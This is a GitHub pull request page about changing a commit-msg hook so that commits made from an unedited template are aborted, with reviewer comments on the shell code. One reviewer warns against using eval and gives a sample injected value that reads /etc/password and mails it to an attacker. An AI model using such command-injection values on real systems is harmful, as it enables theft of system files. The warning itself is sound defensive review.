Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update branch-name commit-msg hook, so when you use a commit template, and quit without changing it, the commit is aborted #6

Open
wants to merge 10 commits into
base: master
Choose a base branch
from

Conversation

lillialexis
Copy link
Member

@lillialexis lillialexis commented Jul 31, 2024

Summary:

See this comment here: #4 (review)

Issue: FEI-3822

Test plan:

  1. Have the commit-msg.branch-name hook enabled
  2. Run git commit -a
  3. Save template without changing anything
  4. See that commit is aborted

<full summary>

Issue: <url or "none">

Test plan:
<see below>
<full summary>

Issue: <url or "none">

Test plan:
<see below>
<full summary>

Issue: <url or "none">

Test plan:
<see below>
<full summary>

Issue: <url or "none">

Test plan:
<see below>
<full summary>

Issue: <url or "none">

Test plan:
<see below>
<full summary>

Issue: <url or "none">

Test plan:
<see below>
…, the commit is aborted, even with the branch-name commit-msg hook
@lillialexis lillialexis self-assigned this Jul 31, 2024
@lillialexis lillialexis changed the title [FEI-3822] <one-line summary> Update branch-name commit-msg hook, so when you use a commit template, and quit without changing it, the commit is aborted Jul 31, 2024
@lillialexis lillialexis marked this pull request as ready for review July 31, 2024 23:06
@lillialexis lillialexis requested review from a team July 31, 2024 23:07
@lillialexis lillialexis requested a review from jeresig July 31, 2024 23:18
Copy link
Member

@csilvers csilvers left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmm, we already do this check in Khan/khan-linter:githook.py. Are you planning on keeping it in both places?

Copy link
Member

@csilvers csilvers left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I love that you're adding this! And great use of double-quotes to make everything safe. :-) Not approving yet because I'd love to get rid of that eval.

Comment on lines +25 to +26
# Expand the commit template path
COMMIT_TEMPLATE_PATH=$(eval echo "$COMMIT_TEMPLATE_PATH")
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

eval always sets off alarm bells from a security perspective. Like what if COMMIT_TEMPLATE_PATH is something like "cat /etc/password | sendmail evil-actor"?

I think you don't need it. Just replace the below with:

COMMIT_TEMPLATE=$(cat "$COMMIT_TEMPLATE_PATH" 2>/dev/null)
if [ -z "$COMMIT_TEMPLATE" ]; then
    echo "Commit template not founda at $COMMIT_TEMPLATE_PATH, or is empty"
    exit 1
fi

fi

# Filter out comment lines and empty lines from the commit template
COMMIT_TEMPLATE=$(echo "$COMMIT_TEMPLATE" | grep -v '^#' | sed '/^[[:space:]]*$/d')
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can do this when reading; at line 30 do:

COMMIT_TEMPLATE=$(cat "$COMMIT_TEMPLATE_PATH" | grep -v '^#' | sed '/^[[:space:]]*$/d')

Dunno if you wanted to or not.

Comment on lines +39 to +44
# Check if the commit message matches the commit template
if [ "$COMMIT_MSG" = "$COMMIT_TEMPLATE" ]; then
echo "Aborting commit due to default commit message."
exit 1
fi
fi
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Another thing githook.py does, which I think is useful, is:

if [ -z "$COMMIT_MSG" ]; then
    echo "Aborting commit due to empty commit message."
    exit 1
fi

I do this sometimes when I'm creating a commit message and want to give up in the middle.

@jeresig jeresig removed their request for review August 22, 2024 13:13
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants